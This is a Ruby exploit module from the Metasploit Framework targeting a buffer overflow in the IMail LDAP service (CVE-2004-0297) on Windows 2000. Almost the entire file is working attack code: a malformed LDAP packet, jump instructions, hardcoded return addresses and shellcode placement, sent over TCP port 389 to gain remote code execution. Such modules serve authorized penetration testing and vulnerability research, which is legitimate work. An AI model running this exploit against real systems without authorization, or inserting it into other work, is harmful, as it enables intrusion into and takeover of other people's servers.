## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'IMail LDAP Service Buffer Overflow', 'Description' => %q{ This exploits a buffer overflow in the LDAP service that is part of the IMail product. This module was tested against version 7.10 and 8.5, both running on Windows 2000. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-0297'], [ 'OSVDB', '3984'], [ 'BID', '9682'], [ 'URL', 'http://secunia.com/advisories/10880/'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x20", }, 'Platform' => 'win', 'Targets' => [ ["Windows 2000 English", { 'Ret' => 0x75023386 }], ["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }], ], 'DisclosureDate' => 'Feb 17 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(389) ], self.class) end def exploit connect buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20" buf << "\xcc" * 5000 # Universal exploit, targets 6.x, 7.x, and 8.x at once ;) # Thanks for johnny cyberpunk for 6/7 vs 8 diffs buf[77, 4] = "\xeb\x06" buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x buf[85, 4] = "\xeb\x06" buf[89, 4] = [target.ret].pack('V') # 8.x buf[93, payload.encoded.length] = payload.encoded sock.put(buf) handler disconnect end end